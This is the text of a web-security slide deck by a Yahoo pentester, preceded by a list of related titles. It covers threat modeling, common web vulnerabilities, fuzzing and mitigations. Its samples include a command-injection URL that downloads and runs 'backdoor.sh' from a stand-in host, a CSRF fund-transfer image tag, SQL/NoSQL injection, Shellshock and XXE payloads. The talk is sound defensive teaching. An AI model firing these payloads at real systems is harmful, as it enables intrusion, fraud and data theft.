Security Basics - Lessons From a Paranoid. Stuart Larsen Yahoo! Paranoids - Pentest



Similar documents
WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Essential IT Security Testing

Threat Modeling. Categorizing the nature and severity of system vulnerabilities. John B. Dickson, CISSP

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

OWASP TOP 10 ILIA

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Application Security Testing

Adobe Systems Incorporated

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Conducting Web Application Pentests. From Scoping to Report For Education Purposes Only

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Where every interaction matters.

Web application security

Check list for web developers

NoSQL, But Even Less Security Bryan Sullivan, Senior Security Researcher, Adobe Secure Software Engineering Team

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Criteria for web application security check. Version

Chapter 1 Web Application (In)security 1

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Web Application Penetration Testing

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Web Application Security

Sitefinity Security and Best Practices

Web Application Guidelines

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Intrusion detection for web applications

External Network & Web Application Assessment. For The XXX Group LLC October 2012

(WAPT) Web Application Penetration Testing

Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3

Advanced Web Security, Lab

We protect you applications! No, you don t. Digicomp Hacking Day 2013 May 16 th 2013

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

OWASP AND APPLICATION SECURITY

The Top Web Application Attacks: Are you vulnerable?

Improving Web Vulnerability Scanning. Daniel Zulla

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

Learn Ethical Hacking, Become a Pentester

Data Breaches and Web Servers: The Giant Sucking Sound

Web Application Security

Attack Vector Detail Report Atlassian

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Microsoft STRIDE (six) threat categories

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

Threat Modeling/ Security Testing. Tarun Banga, Adobe 1. Agenda

What is Web Security? Motivation

Sichere Webanwendungen mit Java

Passing PCI Compliance How to Address the Application Security Mandates

Rational AppScan & Ounce Products

Secure Web Development Teaching Modules 1. Security Testing. 1.1 Security Practices for Software Verification

Securing Your Web Application against security vulnerabilities. Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group

ETHICAL HACKING APPLICATIO WIRELESS110 00NETWORK APPLICATION MOBILE MOBILE0001

Web Application Vulnerability Testing with Nessus

Web Application Security

Kenna Platform Security. A technical overview of the comprehensive security measures Kenna uses to protect your data

Strategic Information Security. Attacking and Defending Web Services

Lecture 11 Web Application Security (part 1)

Cyber Security Challenge Australia 2014

Penetration Testing Report Client: Business Solutions June 15 th 2015

Web application testing

Secrets of Vulnerability Scanning: Nessus, Nmap and More. Ron Bowes - Researcher, Tenable Network Security

Columbia University Web Security Standards and Practices. Objective and Scope

Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins

Ethical Hacking as a Professional Penetration Testing Technique

Magento Security and Vulnerabilities. Roman Stepanov

VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso

Executive Summary On IronWASP

ABC LTD EXTERNAL WEBSITE AND INFRASTRUCTURE IT HEALTH CHECK (ITHC) / PENETRATION TEST

EECS 398 Project 2: Classic Web Vulnerabilities

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

05.0 Application Development

Cross Site Scripting (XSS) and PHP Security. Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011

Enterprise Application Security Workshop Series

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

DISA's Application Security and Development STIG: How OWASP Can Help You. AppSec DC November 12, The OWASP Foundation

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Software Assurance Tools: Web Application Security Scanner Functional Specification Version 1.0

Real World Java Web Security

Guidelines for Web applications protection with dedicated Web Application Firewall

elearning for Secure Application Development

STABLE & SECURE BANK lab writeup. Page 1 of 21

Java Program Vulnerabilities

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

WebCruiser Web Vulnerability Scanner User Guide

Online Vulnerability Scanner Quick Start Guide

Pwning Intranets with HTML5

Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder.

Source Code Review Using Static Analysis Tools

Last update: February 23, 2004

Transcription:

Security Basics Lessons From a Paranoid Stuart Larsen Yahoo! Paranoids Pentest

Overview Threat Modeling Common Web Vulnerabilities Automated Tooling Modern Attacks

whoami

Threat Modeling Analyzing the security of an application from the perspective of an attacker Structured approach to identify, quantify, and analyze possible threats Be Paranoid

Threat Modeling: Map the System Backend Workers Other How does it work? Admin Panel External entities? What is an attacker interested in? What sort of data do you hold? Actors? What other systems does it trust? Assets Chat Server How does the system connect? Who interacts with the system? Trust Levels? Access rights, who can see what?

Threat Modeling: Determine Threats Backend Workers Other Admin Panel Chat Server What would an attacker do? STRIDE: Spoofing Tampering Repudiation Information Disclosure Denial of Service Elevation of Privilege

Threat Modeling: Risk Levels Backend Workers Other Admin Panel Damage Reproducibility Exploitability Affected Users Discoverability Risk = Likelihood x Impact Cost of recovery vs cost of defense Examples: Chat Server DREAD Breaking Crypto Denial of service

Threat Modeling: Mitigations Mitigations: Do Nothing / Accept Inform / Transfer Risk Technical fix or workaround Terminate Insurance, term of service updates Mitigate The risk is acceptable Take the server down, disable the service The most important step, yet often not done

Threat Modeling: Conclusion A great and cheap way to assess the security of a system / application There s a lot of different threat modeling techniques, what s most important is that it actually gets done The only reason anybody is safe using the Internet is there s not enough bad guys. Alex Stamos, AppSec Cali 2015

Common Web Vulnerabilities XSS CSRF SQL Injection Command Injection Forced Browsing Exposed Services Sensitive Data Exposure

Cross Site Scripting (XSS): Example

XSS: Example

XSS: The Actual Problem Mixing of data and code

XSS: Protections Use your frameworks! We look for where people don t use the framework or don t use the framework correctly Input validation and output encoding Convert < into < Content Security Policy HTTP Header for specifying allowed resources

XSS: ContentSecurityPolicy defaultsrc none ; scriptsrc self jquery.com; stylesrc self bootstrap.com; Don t allow resources from anywhere Only allow JS if it s loaded from self (not inline) or jquery.com Only allow CSS if it s loaded from self (not inline) or bootstrap.com

CSRF: Cross Site Request Forgery bank.com Login c0nrad c0nrad To: c0nrad Hey! Balance: $10,000.00 <img src= https://bank.com/transfer.php? amount=10000&to=attacker&from=c0nrad> Session Identifiers Deposit Attacker Withdrawl Reply The victim establishes a valid session with the target website. The attacker sends an email, or has the victim view a webpage. The browser attempts to load the image. Making a valid HTTP request to the bank.

CSRF Confused deputy problem Useful for more than just stealing money from banks Posting content, deleting posts, Changing security features Password reset Can be used with HTTP Post Email providers sometimes allow HTTP forms within the email Custom web page: onload=document.forms[0].submit()

CSRF: Mitigations All forms should have a nonce/token Use your frameworks protection! GET should not change state Short cookie expiry time

SQL Injection: Example Login c0nrad 3298hf=F/5++1!!0 Submit

SQL Injection: Example Login c0nrad 1 OR 1=1 Submit

NoSQL Injection: Example POST /login?username=c0nrad& password=3298hf=f/5++1!!0 POST /login?username=c0nrad &password[$ne]=abc User.find({ username: c0nrad, password: 3298hf=F/5++1!!0 }); User.find({ username: c0nrad, password: { $ne: abc } });

SQL Injection: Conclusion Obviously very bad, exfil data, command injection, UNIONs Mitigations Parameterized Queries Stored Procedures Escaping of User Supplied Input Explicit about type var username = String(req.query.username))

Command Injection DEMO

Command Injection: Demo Notes /index.php?filename= welcome.html;wget endpoint.com/backdoor.sh;chmod u+x;./backdoor.sh

Command Injection: Mitigations Minimize calls that spawn external commands, and more importantly shells Filtering and escaping $content = file_get_contents( file.txt ) $content = shell_exec( cat file.txt ) escapeshellcmd (PHP) escapeshellarg (PHP) Call the binary directly (execve), not through /bin/sh system(command) => /bin/sh + command /path/to/binary + [arg1, arg2, arg3, arg4]

Forced Browsing / Improper Authorization Enumerate and access resources that aren t listed, but still accessible Dirbuster, a tool for bruteforcing urls http://example.com/uploads/68 Iterate that last parameter and see if anything interesting happens The best mitigation is proper authorization Nonguessable resource IDs

Exposed Services Network scans reveal lots of useful stuff CI/CD Pipeline Jenkins Build Server Command Injection is a feature Cameras Printers MongoDB REST Port It s a pain to put passwords on everything, but it needs to be done Password manager Configuration management system

Sensitive Data Exposure Reset Password: email c0nrad@c0nrad.io c0nrad Hey! Reset Password To reset password: http://example.com/reset/token/d18gd72bd21d POST /reset/ {email: c0nrad@c0nrad.io } Reply HTTP/1.1 200 OK { email: c0nrad@c0nrad.io, ts: 1434176397589, token: d18gd72bd21d, _id: 5488a37144f95d07cfa } Other Sensitive Data Exposure Examples: Information being passed in the clear Unauthenticated API routes

Sensitive Data Exposure: Mitigations Use transport encryption (SSL/TLS) Identifiers should be nonguessable (UUIDv4) Sensitive information (SSN, CC, PII) should be encrypted if stored at all, (PCI compliance) Authentication information (oauth, session, etc), shouldn t be returned unless necessary Scrub your logs, only save what you need

Vulnerabilities: Conclusion Common ones we see, but plenty of others Understand the frameworks and library you use Take a look at the application from the eyes of an attacker And keep them up to date threat modeling Golden Rule: Never trust input.

Automated Tooling Yahoo! has literally thousands of products Code is constantly changing Pentests are slow

Automated Tooling Static Analyzers: look for potential problems in source code Lots of false positive, but the cheapest to run Vulnerability Scanners (e.g. nessus): scan websites for known insecure configurations Lower false positives, but signature based

Automated Tooling Spidering (e.g. burp/zap): content discovery Assists with finding content on web directories Network Scanning (e.g. nmap) Port scanning / host enumeration Fuzzing (e.g. aflfuzz): feed a system a bunch of garbage and see what happens Custom per application, can find unique and complex vulnerabilities

Fuzzing Sending random data (binary/ascii) to an application and monitoring for unexpected behavior 1011101010101 01010101010 1010110101010 101010101010 1010110110010 101011001010 Core Dump? Application Memory Usage Spike? HTTP 500 Internal Error?

Fuzzing: HTTP POST /somepath?query=abc#fragment Host: yahoo.com Accept: text/plain UserAgent: Chrome ContentLength: 200 { data: 10 }

Fuzzing: HTTP Path Querystring Method Host Fragment POST /somepath?query=abc#fragment Host: yahoo.com Accept: text/plain UserAgent: Chrome Headers ContentLength: 200 { data: 10 } Body

Fuzzing: Payloads Command Injection: XSS: ;sleep 5 alerts, console.log, XHRs, style changes SQL: `sleep 5` sleep 5; wget endpoint.com, `yes` sleep,,, `, 1 or 1=1 sleep 5 sleep 5 Information Disclosure: Meta characters, Types () { :; }; sleep 5

Fuzzing: Example FOOBAR /robots.txt?query=0.0#1 or 1=1 Host: localhost Accept: ; sleep 5 UserAgent: Chrome ContentLength: 10000 { data: { $ne : abc } }

Fuzzing: Conclusion Cheap, fast, fun Fuzz while you re building a fuzzer Sometimes you can take existing testing scaffolding, and apply them to fuzzing Less false positives, but plenty of false negatives

When To Hire A Pro A pentest will cost tens of thousands of $ Make sure you take care of your basics first Free vulnerability scanners Network Perimeter / Firewalls 2FA Cookie flags If required to do a PCI audit, you ll need to handle that separately

Modern Attacks Social Engineering Finding, selling and exploiting 0day is a big business Spend months and $$ trying to find a flaw in crypto Or send an email to everyone in the company with something phishy Attacking your browser, office software and phone nday botnets Ransomware Advanced Persistent Threats (APTs) Better to stay on the network and be quiet

Conclusion Threat Modeling Common Web Vulnerabilities Automated Tooling Modern Attacks

XXE: XML External Entity An attack against XML parsers XML allows external general parsed entity also called external entity It s a placeholder for other resources <?xml version="1.0" encoding="iso88591"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/passwd" >] ><foo>&xxe;</foo>

XXE: Mitigations Most frameworks and libraries have a way to disable external entities libxml_disable_entity_loader(true)